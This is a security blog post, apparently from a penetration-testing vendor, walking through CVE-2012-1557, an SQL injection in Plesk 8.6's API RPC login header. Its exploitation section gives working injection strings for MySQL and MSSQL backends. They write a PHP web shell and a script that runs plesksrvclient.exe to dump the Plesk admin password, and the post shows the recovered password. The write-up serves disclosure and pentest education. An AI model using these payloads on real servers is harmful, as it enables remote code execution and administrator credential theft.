Exploring Plesk’s Unspecified SQL Injection Vulnerability
Proof of concept of Plesk Vulnerability CVE-2012-1557
Hi all, recently one of my friends pointed out an article at http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/ which mentions how underground hackers are selling 0-day Plesk exploit for thousands of dollars. It so happened, that we guys were performing a penetration test for a client who seemed to have a plesk server used as a control panel for managing servers. The server we were targeting was running a plesk 8.6.0 version on windows 2003 OS (got through OS fingerprinting and other banner grabbing). This version seemed to be quite old and the vulnerability existed for versions prior 10.4. Since we were not getting anywhere with the normal penetration tests (as almost everything was patched), we decided to take a look if we can compromise the server in some way using the plesk installation itself. First we created a default installation of Plesk 8.6.0 on a windows 2003 machine to test it in our lab. Next, we started going through the plesk developers and API manuals, which gave us a hint at where we should start poking first.
The vulnerability
From http://download1.parallels.com/Plesk/PP11/11.0/Doc/en-US/online/plesk-api-rpc/
The API RPC protocol was designed to support interaction between Panel and third-party software remotely. To perform an operation through API RPC, you should send a specifically-structured HTTP message to a particular Panel endpoint (https://site:8443/enterprise/control/agent.php). Panel receives the message, transforms the message to operation instructions, attempts to perform the operations, and returns operation statuses and details.
To process an API RPC operation two HTTP request headers are required – HTTP_AUTH_LOGIN and HTTP_AUTH_PASSWD . It is pretty self explanatory what the two headers are meant for , i.e. HTTP_AUTH_LOGIN has to have a valid username and HTTP_AUTH_PASSWD has to have a valid password to perform an API RPC operation. Now, the vulnerability is triggered when SQL meta-characters are injected within the header HTTP_AUTH_LOGIN , i.e. the API RPC endpoint is vulnerable to a SQL injection which is triggered while processing the HTTP_AUTH_LOGIN header. When we first injected the header, the SQL error returned a JET DB error and we almost jumped out of our chairs cause this vulnerability was so easy to find. Since, we don’t have so many options with JET DB , we reinstalled Plesk with custom installation and created two different systems; one running plesk with MSSQL as backend db and another running MySQL as backend db.
The following snapshot shows the SQL error when we trigger the vulnerability:
The plesk server shown has an MSSQL backend as shown by the above error.
To get the user using which plesk application connects to the backend database servers, we can inject the ‘ union select suser_sname()– in the field HTTP_AUTH_LOGIN. After doing so, we get the following error:
Which reveals that admin is the user with which plesk application connects to the backend DB (this is the case for all i.e. MSSQL, MySQL and MS ACCESS)
Exploitation
While testing we were able to create a proof of concept for compromising a plesk server 8.6.0 running MySQL and MSSQL servers as the backend DB servers .The details are given as follows:
MySql :
When we inject a single quote in the login header, we get the following:
From the error above, we have got the Plesk directories “C:Program FilesParallelsPleskadmin”.
We can go to the system on which plesk has been installed and see if the user admin has file write privileges or not. This is shown in the following snapshot:
Our db user has got the file write privileges!
Now, we can do a sql injection attack to write a simple php shell on the file system. So, we inject the string “ ’ union select ‘<?php system($_GET[“cmd”]);?>’ into outfile ‘C:\Program Files\Parallels\Plesk\admin\htdocs\enterprise\control\cmd.php’# ” in the login header as shown:
And, we can access our php shell at http://192.168.1.65:8443/enterprise/control/cmd.php as shown:
Using this web shell we can check which context our web shell runs in:
Our web shell runs under the user psaadm. This knowledge can be helpful for later when we need to find which directories this user has read/write access to which can be found out using tools like accessenum from sysinternals.
Next, we did some research and found an inbuilt plesk utility to retrieve the plesk admin password known as plesksrvclient. We can retrieve it using the switches –get or –get –nogui > somefile . The –get switch gives us the plesk admin password inside a pop up box and using –get –nogui > somefile , we can retrieve the plesk admin password in somefile.
We can write another php file to extract the password. For we will have to call the plesksrvclient.exe using php and display the password. So, we inject the string “ ‘ union select ‘<?php $a=exec(‘..\..\..\bin\plesksrvclient.exe -get -nogui’);echo $a;?>’ into outfile ‘C:\Program Files\Parallels\Plesk\admin\htdocs\enterprise\control\pleskpassword.php’# ” in the login header as shown:
Now, we can access the plesk password by navigating to the url “https://192.168.1.65:8443/enterprise/control/pleskpassword.php” as shown:
Woah! We got the plesk admin password and we can log in using the username admin and password plesk123 as shown:
Finally got what we were looking for!!
MSSQL
Using MSSQL to compromise the plesk server was pretty much the same as MySQL. First, we inject a simple “ ‘;exec a..a;– ” to extract the Plesk directories from the error response.
Next, we first write a simple php script on the target system using MSSQL commands and navigate to it to extract the Plesk password. The SQL commands we inject in the login header is:
“ ‘;DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;EXECUTE @li_result = sp_OACreate ‘Scripting.FileSystemObject’, @li_file_sytem_object OUT;EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, ‘OpenTextFile’, @li_file_id OUT, ‘C:Program FilesParallelsPleskadminhtdocsenterprisecontrolshll.php’, 8, 1; EXECUTE @li_result = sp_OAMethod @li_file_id, ‘WriteLine’, NULL, ‘<?php $a=exec(“..\..\..\bin\plesksrvclient.exe -get -nogui”);echo $a;?>’;– ”
Using this we have created a shll.php file in the control directory of plesk. Now, we can simpley navigate to it as shown:
Using which we can login as shown:
After we tested this on our own systems, we tested if our clients system was vulnerable or not. Sure enough it was vulnerable and was running MySQL db. So we went ahead and created a proof of concept to show our client how vulnerable their system was and all the hard work surely paid off !!
See More eSecForte’s Information Security Solutions :-
- Core Impact – Penetration Testing Tool
- CHECKMARX- STATIC APPLICATION SECURITY TESTING
- HP WEBINSPECT : APPLICATION SECURITY TESTING
- Netsparker Web Application Security Scanner
- Burp Suite- Web Security Testing Software
- NESSUS VULNERABILITY SCANNER TOOL
- TENABLE.IO VULNERABILITY MANAGEMENT
- TENABLE SECURITYCENTER Vulnerability Management
- Vulnerability Scanning and Vulnerability Management
- Vulnerability Assessment and Penetration Testing (VAPT)
- WEB APPLICATION SECURITY SERVICES